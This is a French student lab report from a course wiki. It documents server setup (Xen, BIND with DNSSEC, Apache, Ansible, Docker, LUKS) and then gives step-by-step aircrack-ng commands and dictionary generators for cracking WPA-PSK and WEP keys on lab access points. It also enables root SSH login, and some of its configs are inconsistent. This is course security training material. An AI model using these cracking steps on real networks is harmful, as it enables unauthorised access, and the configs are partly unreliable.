On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
====Sécurisation de données====&lt;br /&gt;
====Cryptage de données====&lt;br /&gt;
Pour afficher la liste des périphériques connectés au PC:&lt;br /&gt;
  fdisk -l&lt;br /&gt;
&lt;br /&gt;
On la crypte et on crée la partition:&lt;br /&gt;
  cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On formate notre volume en ext4&lt;br /&gt;
  mkfs -t ext4 /dev/mapper/virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On le monte ensuite sur /mnt&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/&lt;br /&gt;
&lt;br /&gt;
On y crée un fichier /mnt/test_file puis on démonte /mnt:&lt;br /&gt;
  umount /mnt&lt;br /&gt;
&lt;br /&gt;
Puis on ferme la communication sur le volume crypté:&lt;br /&gt;
  cryptsetup luksClose virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup&lt;br /&gt;
Pour pouvoir y accéder, il suffit de faire:&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis &lt;br /&gt;
  -&amp;gt; demande du mot de passe&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/&lt;br /&gt;
&lt;br /&gt;
Et on retrouve notre fichier test_file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si on essaye simplement de monter une clé usb cryptée:&lt;br /&gt;
  mount /dev/sdb1 mnt/tmp&lt;br /&gt;
  mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’&lt;br /&gt;
&lt;br /&gt;
====Sécurisation WiFi par WPA2-EAP====&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51841</id>
